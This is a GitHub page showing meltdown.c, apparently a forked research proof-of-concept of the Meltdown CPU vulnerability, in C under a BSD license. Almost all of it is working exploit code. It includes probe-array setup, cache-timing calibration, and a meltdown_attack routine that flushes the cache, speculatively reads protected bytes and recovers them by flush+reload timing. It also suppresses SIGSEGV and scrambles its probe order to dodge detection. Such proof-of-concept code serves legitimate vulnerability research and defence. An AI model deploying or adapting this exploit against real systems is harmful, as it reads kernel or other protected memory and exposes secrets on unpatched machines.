forked from dag-erling/meltdown
-
Notifications
You must be signed in to change notification settings - Fork 0
/
meltdown.c
218 lines (203 loc) · 6.11 KB
/
meltdown.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
/*-
* Copyright (c) 2018 The University of Oslo
* Copyright (c) 2018 Dag-Erling Smørgrav
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. The name of the author may not be used to endorse or promote
* products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#include <sys/mman.h>
#include <err.h>
#include <setjmp.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include "meltdown.h"
/*
* Probe array
*/
#define PROBE_SHIFT 12
#define PROBE_LINELEN (1 << PROBE_SHIFT)
#define PROBE_NLINES 256
#define PROBE_SIZE (PROBE_NLINES * PROBE_LINELEN)
static uint8_t *probe;
/*
* Average measured read latency with cold and hot cache
*/
static uint64_t avg_cold;
static uint64_t avg_hot;
/*
* Decision threshold
*/
static uint64_t threshold;
/*
* Map our probe array between two guard regions to be absolutely sure
* that it is not adjacent to memory in use elsewhere in the program.
*/
#ifndef MAP_GUARD
#define MAP_GUARD (MAP_ANON | MAP_PRIVATE)
#endif
void
meltdown_init(void)
{
if (mmap(NULL, PROBE_SIZE, PROT_NONE, MAP_GUARD, -1, 0) == MAP_FAILED)
err(1, "mmap()");
probe = mmap(NULL, PROBE_SIZE, PROT_READ | PROT_WRITE,
MAP_ANON | MAP_PRIVATE, -1, 0);
if (probe == MAP_FAILED)
err(1, "mmap()");
memset(probe, 0xff, PROBE_SIZE);
if (mmap(NULL, PROBE_SIZE, PROT_NONE, MAP_GUARD, -1, 0) == MAP_FAILED)
err(1, "mmap()");
}
/*
* Compute the average hot and cold read latency and derive the decision
* threshold.
*/
#define CAL_ROUNDS 1048576
void
meltdown_calibrate(void)
{
uint8_t *addr;
uint64_t meas, min, max, sum;
unsigned int i;
VERBOSEF("calibrating...\n");
/* compute average latency of "cold" access */
min = UINT64_MAX;
max = 0;
sum = 0;
for (i = 0, addr = probe; i < CAL_ROUNDS + 2; ++i) {
addr = probe + (i % PROBE_NLINES) * PROBE_LINELEN;
clflush(addr);
meas = timed_read(addr);
if (meas < min)
min = meas;
if (meas > max)
max = meas;
sum += meas;
}
sum -= min;
sum -= max;
avg_cold = sum / CAL_ROUNDS;
VERBOSEF("average cold read: %llu\n", (unsigned long long)avg_cold);
/* compute average latency of "hot" access */
meas = timed_read(probe);
min = UINT64_MAX;
max = 0;
sum = 0;
for (i = 0; i < CAL_ROUNDS + 2; ++i) {
addr = probe + (i % PROBE_NLINES) * PROBE_LINELEN;
meas = timed_read(addr);
if (meas < min)
min = meas;
if (meas > max)
max = meas;
sum += meas;
}
sum -= min;
sum -= max;
avg_hot = sum / CAL_ROUNDS;
VERBOSEF("average hot read: %llu\n", (unsigned long long)avg_hot);
/* set decision threshold to sqrt(hot * cold) */
if (avg_hot >= avg_cold)
errx(1, "hot read is slower than cold read!");
for (threshold = avg_hot; threshold <= avg_cold; threshold++)
if (threshold * threshold >= avg_hot * avg_cold)
break;
VERBOSEF("threshold: %llu\n", (unsigned long long)threshold);
}
/*
* Perform the Meltdown attack.
*
* For each byte in the specified range:
* - Flush the cache.
* - Read the given byte, then touch a specific probe address based on its
* value of the byte that was read.
* - Measure the time it takes to access each probe address.
* - In theory, one of the probe addresses should be in cache, while the
* others should not. This indicates the value of the byte that was
* read.
*/
static sigjmp_buf jmpenv;
static void sighandler(int signo) { siglongjmp(jmpenv, signo); }
void
meltdown_attack(const void *targetp, void *bufp, size_t len,
unsigned int rounds)
{
unsigned int hist[PROBE_NLINES];
uint8_t line[16];
const uint8_t *target = targetp;
uint8_t *buf = bufp;
sig_t sigsegv;
unsigned int i, r, v, xv;
int signo;
uint8_t b;
VERBOSEF("reading %zu bytes from %p with %u rounds\n",
len, target, rounds);
sigsegv = signal(SIGSEGV, sighandler);
for (i = 0; i < len; ++i) {
memset(hist, 0, sizeof hist);
/*
* In each round, flush the cache, try to access the
* target and record what we think its value is based on
* which cache lines are hot after the speculative read.
*/
for (r = 0; r < rounds; ++r) {
if ((signo = sigsetjmp(jmpenv, 1)) == 0) {
for (v = 0; v < PROBE_NLINES; ++v)
clflush(&probe[v * PROBE_LINELEN]);
spec_read(&target[i], probe, PROBE_SHIFT);
}
for (v = 0; v < PROBE_NLINES; ++v) {
xv = ((v * 167) + 13) % 256; /* dodge run detection */
if (timed_read(&probe[xv * PROBE_LINELEN]) < threshold)
hist[xv]++;
}
}
/* retain the most frequent value */
VERYVERBOSEF("%04x |", i);
for (b = 0, v = 0; v < PROBE_NLINES; ++v) {
if (hist[v] > 0)
VERYVERBOSEF(" [%02x] = %u", v, hist[v]);
if (hist[v] > hist[b])
b = v;
}
VERYVERBOSEF(" | %u\n", b);
if (buf == NULL) {
line[i % 16] = b;
/* output 16 bytes at a time */
if (i % 16 == 15)
hexdump(i - 15, line, 16);
} else {
buf[i] = b;
}
}
/* output any leftovers */
if (buf == NULL) {
if (i % 16 > 0)
hexdump(i - i % 16, line, i % 16);
}
signal(SIGSEGV, sigsegv);
}